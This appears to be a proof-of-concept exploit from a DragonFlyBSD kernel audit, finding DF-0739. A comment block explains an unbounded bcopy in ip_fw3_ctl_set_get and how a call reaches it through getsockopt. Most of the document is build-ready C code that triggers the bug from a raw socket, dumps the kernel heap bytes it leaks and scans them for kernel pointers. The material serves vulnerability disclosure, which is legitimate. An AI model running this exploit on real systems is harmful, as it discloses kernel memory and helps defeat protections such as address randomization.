DragonFlyBSD Kernel Audit
DF-0739 / df0739.c
← back to finding ↓ download raw
/*
 * DF-0739 — ip_fw3_ctl_set_get heap over-read / kernel memory disclosure.
 *
 * Bug (sys/net/ipfw3/ip_fw3_set.c:213):
 *   ip_fw3_ctl_set_get(struct sockopt *sopt) {
 *       ctx = fw3_ctx[mycpuid];
 *       bcopy(&ctx->sets, sopt->sopt_val, sopt->sopt_valsize);   // <-- no bounds check
 *   }
 *
 * ctx->sets is a uint32_t (4 bytes) and is the LAST field of
 * struct ipfw3_context (sys/net/ipfw3/ip_fw3.h:482-490, sizeof == 40).
 * sopt->sopt_valsize is attacker-controlled (capped at SOMAXOPT_SIZE=65536
 * for non-root, 32 MiB for root).  Any valsize > 4 reads kernel heap PAST
 * the fw3_ctx[cpu] allocation and the bytes are copied back to userspace by
 * sys_getsockopt()'s copyout() (sys/kern/uipc_syscalls.c:1349) -> info leak.
 *
 * Reach (sys/netinet/raw_ip.c:334 / :385):
 *   getsockopt(s, IPPROTO_IP, IP_FW_X=49, buf, &len)
 *   -> rip_ctloutput -> ip_fw3_sockopt -> ip_fw_ctl_x_ptr = ip_fw3_ctl_x
 *   -> strips 4-byte ip_fw_x_header, sets sopt_name = opcode = IP_FW_SET_GET=95
 *   -> ip_fw3_ctl -> case IP_FW_SET_GET -> ip_fw3_ctl_set_sockopt
 *   -> ip_fw3_ctl_set_get -> BUG.
 *
 * Pre-conditions:
 *   - ipfw3.ko loaded (root: `kldload ipfw3`).
 *   - raw IP socket (SOCK_RAW) -> requires SYSCAP_NONET_RAW (root).
 * So the live trigger is root-reachable; it is a root->kernel heap info leak
 * that bypasses securelevel kernel-memory read restrictions.
 *
 * Build:  cc -O2 -o df0739 df0739.c
 * Run:    ./df0739 [readlen]    (default 256)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#ifndef IP_FW_X
#define IP_FW_X       49    /* sys/netinet/in.h */
#endif
#define IP_FW_SET_GET 95    /* sys/net/ipfw3/ip_fw3.h:423 */

/* sys/net/ipfw3/ip_fw3.h:366 */
struct ip_fw_x_header {
	uint16_t opcode;
	uint16_t pad;
} __attribute__((packed));

static void hexdump(const char *pfx, const unsigned char *b, size_t n) {
	for (size_t i = 0; i < n; i += 16) {
		printf("%s%04zx: ", pfx, i);
		for (size_t j = 0; j < 16 && i + j < n; j++) printf("%02x ", b[i + j]);
		printf("\n");
	}
}

int main(int argc, char **argv) {
	size_t readlen = (argc > 1) ? (size_t)strtoul(argv[1], NULL, 0) : 256;
	if (readlen < 8) readlen = 8;
	if (readlen > 65536) readlen = 65536;

	int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) {
		/* IPPROTO_RAW may be restricted; try a generic raw socket */
		s = socket(AF_INET, SOCK_RAW, 0);
	}
	if (s < 0) {
		printf("socket(SOCK_RAW) failed: %s (need SYSCAP_NONET_RAW / root)\n",
		       strerror(errno));
		return 2;
	}

	/* Build getsockopt buffer: 4-byte x_header {opcode=IP_FW_SET_GET} + room */
	size_t buflen = sizeof(struct ip_fw_x_header) + readlen;
	unsigned char *buf = calloc(1, buflen);
	struct ip_fw_x_header xh;
	xh.opcode = IP_FW_SET_GET;
	xh.pad    = 0;
	memcpy(buf, &xh, sizeof(xh));

	socklen_t len = (socklen_t)buflen;
	int rc = getsockopt(s, IPPROTO_IP, IP_FW_X, buf, &len);
	int saved = errno;
	if (rc != 0) {
		printf("getsockopt(IPPROTO_IP, IP_FW_X, IP_FW_SET_GET) failed: %s\n",
		       strerror(saved));
		/* If ipfw3 not loaded -> ENOPROTOOPT */
		close(s);
		return 3;
	}

	printf("getsockopt returned %u bytes (requested %zu payload after 4-byte x_header)\n",
	       (unsigned)len, buflen);
	printf("ctx->sets (first 4 bytes, the only legitimate field):\n");
	hexdump("  ", buf, (len < 4 ? len : 4));

	if (len > 4) {
		size_t leaked = len - 4;
		printf("Over-read past ctx->sets: %zu bytes (heap residue):\n", leaked);
		hexdump("  ", buf + 4, leaked);

		/* count non-zero bytes in the over-read region to prove real leak */
		size_t nz = 0;
		for (size_t i = 4; i < len; i++) if (buf[i]) nz++;
		printf("non-zero bytes in over-read region: %zu / %zu\n", nz, leaked);

		/* look for likely kernel pointers (high bytes 0xff/0x80-0xff in 64-bit KVA) */
		size_t ptrs = 0;
		for (size_t i = 4; i + 8 <= len; i++) {
			unsigned long long v = 0;
			memcpy(&v, buf + i, 8);
			if ((v & 0xffff000000000000ULL) == 0xffff000000000000ULL) ptrs++;
		}
		printf("candidate 64-bit kernel pointers (0xffff...): %zu\n", ptrs);
	} else {
		printf("len <= 4: no over-read observed\n");
	}

	free(buf);
	close(s);
	return 0;
}